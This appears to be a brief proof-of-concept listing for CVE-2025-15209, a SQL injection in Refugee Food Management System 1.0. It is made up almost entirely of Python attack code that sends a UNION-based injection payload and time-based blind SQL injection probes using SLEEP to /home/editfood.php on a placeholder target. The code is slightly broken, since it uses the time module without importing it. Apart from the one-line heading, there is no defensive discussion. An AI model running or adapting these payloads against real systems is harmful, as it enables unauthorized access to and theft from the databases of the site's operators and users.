CVE-2025-15209: Refugee Food Management System 1.0 SQL注入漏洞

import requests # CVE-2025-15209 PoC - SQL Injection in Refugee Food Management System # Target: /home/editfood.php # Parameter: a/b/c/d target_url = "http://target.com/home/editfood.php" # Basic SQL Injection PoC using UNION-based injection payload = "' UNION SELECT 1,2,3,4,5,6,7,8-- -" params = {'a': payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Target is potentially vulnerable") print(f"[+] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Blind SQL Injection PoC def blind_sqli_test(url, param): # Test if parameter is vulnerable by checking response time difference true_payload = f"'; SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END-- -" false_payload = f"'; SELECT CASE WHEN (1=2) THEN SLEEP(5) ELSE 0 END-- -" try: start = time.time() requests.get(url, params={param: true_payload}, timeout=15) true_time = time.time() - start start = time.time() requests.get(url, params={param: false_payload}, timeout=15) false_time = time.time() - start if true_time > false_time + 3: return True except: pass return False